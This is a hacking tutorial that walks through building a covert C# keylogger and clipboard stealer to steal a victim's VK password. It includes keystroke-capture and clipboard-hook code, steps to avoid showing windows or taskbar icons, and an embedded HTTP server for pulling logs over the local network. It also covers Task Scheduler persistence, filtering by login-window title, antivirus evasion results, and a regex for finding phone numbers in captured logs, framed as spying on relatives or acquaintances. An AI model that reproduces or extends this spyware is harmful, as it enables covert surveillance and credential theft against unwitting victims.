Stuff

How Keyloggers Evade Antivirus: A C# Proof of Concept

Full-fledged keyloggers packed with features and anti-detection measures can cost tens, if not hundreds, of dollars. But a keylogger isn’t that complicated, and if you want, you can build your own and even avoid antivirus detection. In this article, I’ll show how it’s done, and we’ll also practice writing programs in C#.

Objective

Let’s keep it simple and stick to the essentials. Suppose we want to obtain the victim’s VK account password and can briefly get physical access to their computer. Given that:

  • We won’t bother the victim with extra windows, taskbar icons, error pop-ups, or anything like that;
  • We’ll have one-time access to the target computer, and only for a very short period;
  • We’ll be able to pull the logs while we’re on the same local network;
  • The antivirus must stay quiet;
  • We’re not factoring in the firewall and assume we’ll grant it permission manually when we plant the keylogger;
  • We won’t try to hide the process—just give it an inconspicuous name.

The victim might also be using a password manager, in which case our logs will only show Ctrl-C and Ctrl-V. To address that, we’ll also monitor the clipboard contents.

We’ll be writing in C# using Visual Studio. Spoiler: I ended up with two versions of the program—one that uses WinAPI hooking, and another I jokingly call the “kludgy” version. It’s less elegant, but it yields different results in antivirus scans, so I’ll cover that one as well.

How it works

When you press a button, the OS notifies any programs that have registered interest. So the simplest way to intercept keyboard input is to handle key-press messages. If we can’t do that (for example, if SetWindowsHookEx is blocked by an antivirus or something else), we can still pull raw input without it. There’s a function, GetAsyncKeyState, which takes a key code and lets you check whether it’s currently down or up. The basic approach is: every N ms, poll all keys and record the pressed ones in a list. Then process the list, taking into account the state of Caps Lock, Num Lock, Shift, Ctrl, and so on. Finally, write the results to a file.

Writing the code

First, open Visual Studio and create a new Windows Forms (.NET Framework) project. Why Windows Forms? If we choose a regular console app, an ugly black console window will pop up every time it runs—and we agreed not to bother the user. Also, as long as we don’t create a form (and we won’t), nothing will appear in the taskbar—an important part of staying hidden. Now delete the auto-generated Form1.cs file along with everything that comes with it, and open Program.cs.

Main method stub
Main method stub

There’s already a program template here, but it won’t run as-is. First, remove lines 10–12 and 16–18. Next, change the method signature from static void Main() to static void Main(String[] args). This lets us specify custom arguments when restarting.

Now add using System.IO; for working with files, System.Runtime.InteropServices for working with the Windows API, and System.Threading for pausing a thread. If you don’t want to write the hacky version, it’s better to skip this section and jump straight to the next one.

We import GetAsyncKeyState from user32.dll:

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

And now we add the actual keystroke logging, batching them in groups of ten to minimize disk I/O:

while (true)
{
Thread.Sleep(100);
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state != 0)
{
buf += ((Keys)i).ToString();
if (buf.Length > 10)
{
File.AppendAllText("keylogger.log", buf);
buf = "";
}
}
}
}
Decoding a log like this will be inconvenient
Decoding a log like this will be inconvenient

It doesn’t look great, and readability is basically out the window. First, our code captures input not only from the keyboard but also from the mouse (things like LButton and RButton). So let’s skip logging if the key isn’t a character key. Replace the contents of the if inside the loop with this:

// Improved handling of typed characters //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
buf += ((Keys)i).ToString();
}
else
{
buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{ File.AppendAllText("keylogger.log", buf);
buf = "";
}

After making these edits, the log became much cleaner (see figure).

Looks much cleaner now
Looks much cleaner now

That’s already much better! Now we need to handle the Shift and Caps Lock keys. Add the following code at the beginning of the loop:

// An even more advanced check //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey doesn't work, so I used its numeric equivalent
if ((shiftState & 0x8000) == 0x8000)
{
shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;

Now we have a variable that indicates whether we should keep the letter uppercase. We check it and append the characters to the buffer.

The next issue is entries like <Oemcomma>, <ShiftKey>, <Capital>, and similar. They make the log much harder to read, so we’ll have to clean that up. For example, <Oemcomma> is just a regular comma, and <Capital> is simply Caps Lock. After testing the logger on my own machine, I gathered enough data to tidy up the log. For instance, some characters can be replaced outright.

// Check for Space and Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }

But things like <ShiftKey> are harder to handle. Shift, by the way, comes in two variants—right and left. We can ignore all that, since we’ve already captured the uppercase state.

if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }

After letting the logger run for a while, we also discover other buttons that require special handling:

  • Num Lock;
  • function keys;
  • Print Screen;
  • Page Up and Page Down;
  • Scroll Lock;
  • Shift + number key combination;
  • Tab;
  • Home and End;
  • Start (Windows);
  • Alt;
  • arrow keys.

Add a few more checks and substitutions, and the log becomes readable. Overall, not bad already! The drawback: there’s no support for the Russian keyboard layout—which isn’t a big deal if our goal is just to capture passwords.

Let’s see what the antivirus has to say…

Antivirus response during an on-demand scan
Antivirus response during an on-demand scan
Reaction at launch (later says everything’s OK)
Reaction at launch (later says everything’s OK)

We uploaded the sample to VirusTotal to check it against the rest. Result: only 8 out of 70 AV engines flagged it.

A More Elegant Approach

Now let’s do it the right way and hook keyboard keypress messages. The first steps are the same: create a Windows Forms project and give it an inconspicuous name (for example, WindowsPrintService). In the stub that Visual Studio generated, change void Main() to void Main(String[] args). Next, we’ll add a simple argument check:

if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (args != null && args.Length > 0)
{
if (args[0] == "-i") {}
// Here, add checks similar to the previous line
}
else
{
// Launched without parameters
}

There’s a lot of code after this, so I won’t paste it all. It handles flags like Caps Lock, Shift, and so on, and key presses are processed by a huge switch statement. But that’s not what I want to show—I want to show how the keyboard hook is set up.

Setting up a keyboard hook
Setting up a keyboard hook

First, we store a pointer to our function in the callback variable, then retrieve our module handle, and install the hook. After that, we continuously process incoming messages every 5 ms (PeekMessageA: http://bit.ly/2ToU4oG). A key point is declaring the callback so its signature exactly matches the WinAPI requirements, and forwarding control to the next handlers in the chain (see below).

private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)

Here we hand off control to the next hook in the chain:

return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
Callback function listing
Callback function listing

This screenshot shows the code for our callback function, with some parts trimmed out (the keypress handling didn’t fit). Note the previously mentioned CallNextHookEx call, which is required to pass key events down the chain so other hooks can receive them as well.

Switch statement that handles Shift + number key
Switch statement that handles Shift + number key

This screenshot shows how numeric key presses are handled with Shift held down; the next one shows the behavior with Caps Lock and Shift.

Detecting the case of the typed character
Detecting the case of the typed character

Clipboard Hijacker

A clipper is a program designed to steal data from the clipboard (the name comes from “clipboard”). This can benefit an attacker, for example, if the victim uses a password manager and copies passwords from it.

Create a new Windows Form, then delete the files .Designer.cs and .resx. Next, switch to code view by pressing F7 and start writing code. Add using System.Runtime.InteropServices and bring in the WinAPI via P/Invoke (in the screenshot, it’s placed in a separate class).

Class importing WinAPI methods
Class importing WinAPI methods

Insert the following code into the form’s constructor:

NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);

The first call enables our window to receive system messages, and the second registers the handler for incoming messages.

Now declare a variable of type String and name it lastWindow. Next, we’ll override the standard message processing function (void WndProc(ref Message m)):

protected override void WndProc(ref Message m)
{
if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
{
// Get the handle of the active window
IntPtr active_window = NativeMethods.GetForegroundWindow();
// Get the title of this window
int length = NativeMethods.GetWindowTextLength(active_window);
StringBuilder sb = new StringBuilder(length + 1);
NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
Trace.WriteLine("");
// Log the contents of the clipboard
Trace.WriteLine("\t[Ctrl-C] Clipboard Copied: " + Clipboard.GetText());
}
// Call the base handler
base.WndProc(ref m);
}

To make this code work, I used a prebuilt class that you can simply drop into your project instead of messing with WinAPI wrappers. You can grab it on Pastebin.

Launching the clipper is easy: add a reference to the System.Windows.Forms.dll assembly, add using directives for System.Windows.Forms and System.Threading, and insert the following lines into the logger’s startup method:

Thread clipboardT = new Thread(new ThreadStart(
delegate {
Application.Run(new ClipboardMonitorForm());
}));
clipboardT.Start();

Simple? Exactly. Just make sure to add this call after you register the handler for Trace; otherwise all the output will disappear into the ether.

www

  • – Full code for the logger startup routine (keylogger + clipper): https://pastebin.com/1wJaA25p
  • – Everything needed to run it, except the clipper code (which I’ve provided here): https://pastebin.com/uAgqBzyd

Fetching the Logs

The next step is to fetch the log remotely. Since we’re not planning on industrial espionage—just keeping an eye on what a relative or acquaintance is doing—we can start by limiting access to the local network. To do that, it’s enough to embed a minimalist HTTP server into our project. Here’s a suitable source code snippet: под­ходящий исходник, and here’s my revised version: до­рабо­тан­ная мной вер­сия.

Usage is also quite straightforward: just create a server instance, and it will automatically bind HTTP on localhost:34000 and <InternalIP>:34000, and also open port 34001 on the same addresses. The server will return either a list of files and folders, or the contents of a file if a file is requested.

Pass the path to the directory where logs will be written (or any other directory you might need) to the constructor. By default, logs are written to the current directory, so pass Environment.CurrentDirectory to the constructor.

www

To automate adding our application to the firewall allowlist, you can use the Windows Firewall API. Wrapper libraries like FirewallManager, WindowsFirewallHelper, and YFW.Net can help with this.

Startup

There are many ways to achieve startup persistence: the Startup folder, various registry locations, installing your own driver, or creating a service. However, the registry and drivers are monitored by any decent antivirus, and creating a service is a brittle hack that can break at any moment—though it’ll do in a pinch.

We’ll just create a Task Scheduler task and have it launch our logger with the required parameters at each user logon. To work with Task Scheduler, use the Microsoft.Win32.TaskScheduler package from NuGet. I’ve posted the code for this on Pastebin: https://pastebin.com/nnaE2pSg. Don’t forget to adjust the path referenced by the Task Scheduler entry.

I’ve illustrated the logger’s startup workflow in the diagram.

Sequence of operations
Sequence of operations

Antivirus response

Checking the more polished build on VirusTotal shows that more engines flag it than before—15 out of 70. However, among those that still miss it are almost all of the consumer AVs popular here. Bottom line: just don’t run into Avira or NOD32.

Checking the active window title

If our would‑be victim logs into VK right after signing in, we’re in luck. But what if they launch CS:GO instead? Then you’ll be pulling the password out of a flood of W, A, S, D, and spacebar presses—and with the hacky workaround it’s even worse. So let’s level up our logger: we’ll capture keystrokes only when the active window is a browser with a login form. To do that, we’ll go back to the WinAPI—specifically, the GetForegroundWindow function.

Importing WinAPI
Importing WinAPI

There’s one more function in the imports that we’ll need: GetWindowText. It’s used to retrieve a window’s title by its handle. The flow here is straightforward: first we get the active window’s title, then we check whether the logger should be enabled and turn it on (or off). Implementation of this logic:

  • Create a function named IsForegroundWindowInteresting. Its code will look like this:
  • At the very start of our CallbackFunction, insert the following:

As you noticed, I check two variants since I don’t know what language the target is using. If we don’t find an interesting window, we just move on to the next handler and avoid burdening the machine with unnecessary disk I/O.

Searching the Log

Now let’s assume the log has still ballooned to a dangerous size, and we need to extract, say, a phone number so we know where to start looking for the password. The best tool for this is regular expressions; in C# they’re provided by the Regex class.

For obvious reasons, we’ll analyze the logs on our own machine, so we’ll create a separate program. To use regex, add using System.Text.RegularExpressions and implement a method that takes the path to the log file as input and prints all detected phone numbers to the console.

public void FindTelephoneNmbers(String path)
{
String _file = System.IO.File.ReadAllText(path);
String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";
Regex _regexobj = new Regex(_regex);
MatchCollection matches = _regexobj.Matches(_file);
if (matches.Count > 0)
{
foreach (Match match in matches)
{
Console.WriteLine($"Match found: "{match.Value}"");
}
}
else
{
Console.WriteLine("No matches found.");
}
}

The password will follow the phone number.

Conclusion

So, we’ve shown that building a keylogger isn’t hard. What’s more, our custom spy tool—despite its limitations—has a key advantage: antivirus products don’t know about it in advance, and many won’t flag it based on behavior alone. There’s plenty you could improve: add remote access over the internet, support multiple keyboard layouts, capture screenshots, and other features. My goal in this article was to demonstrate how easy it is to create such a program and to inspire you to take on future projects. I hope I succeeded!

it? Share: